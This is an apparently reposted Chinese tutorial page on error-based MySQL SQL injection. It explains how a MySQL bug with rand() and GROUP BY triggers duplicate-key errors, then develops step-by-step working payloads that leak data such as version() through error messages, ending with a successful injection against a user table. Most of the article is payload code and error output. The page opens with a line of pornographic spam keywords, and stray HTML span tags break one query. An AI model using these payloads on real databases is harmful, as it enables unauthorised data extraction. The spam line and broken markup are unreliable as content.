欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

網(wǎng)站MYSQL數(shù)據(jù)庫(kù)高級(jí)爆錯(cuò)注入原分析

  發(fā)布時(shí)間:2016-08-24 19:12:36   作者:佚名   我要評(píng)論
國(guó)內(nèi)只有一大堆高級(jí)爆錯(cuò)的利用代碼 沒(méi)人分析原因 這個(gè)是去官網(wǎng)查資料后分析給出的,需要的朋友可以參考下
這里主要用了mysql的一個(gè)BUG :http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.

重現(xiàn)過(guò)程:
SQL Code復(fù)制內(nèi)容到剪貼板
  1. use mysql;   
  2. create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);   
  3. select left(rand(),3),a from r1 group by 1;   
  4. select left(rand(),3),a, count(*) from r1 group by 1;   
  5. select round(rand(1),1)  ,a, count(*) from r1 group by 1;  

于是便可以這樣拿來(lái)爆錯(cuò)注入了。
 

復(fù)制代碼
代碼如下:

select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>

嘗試拿來(lái)實(shí)戰(zhàn)
 

復(fù)制代碼
代碼如下:

select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

提示錯(cuò)誤 選擇的列應(yīng)該為一個(gè)。那么。我們換一下


復(fù)制代碼
代碼如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>

 

復(fù)制代碼
代碼如下:

1248 (42000): Every derived table must have its own alias

提示多表查詢(xún)要有別名 那好辦
 

復(fù)制代碼
代碼如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

或者
 

復(fù)制代碼
代碼如下:

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

成功爆粗注入了.

作者: 小殘 繩命不息 |折騰不止

相關(guān)文章

最新評(píng)論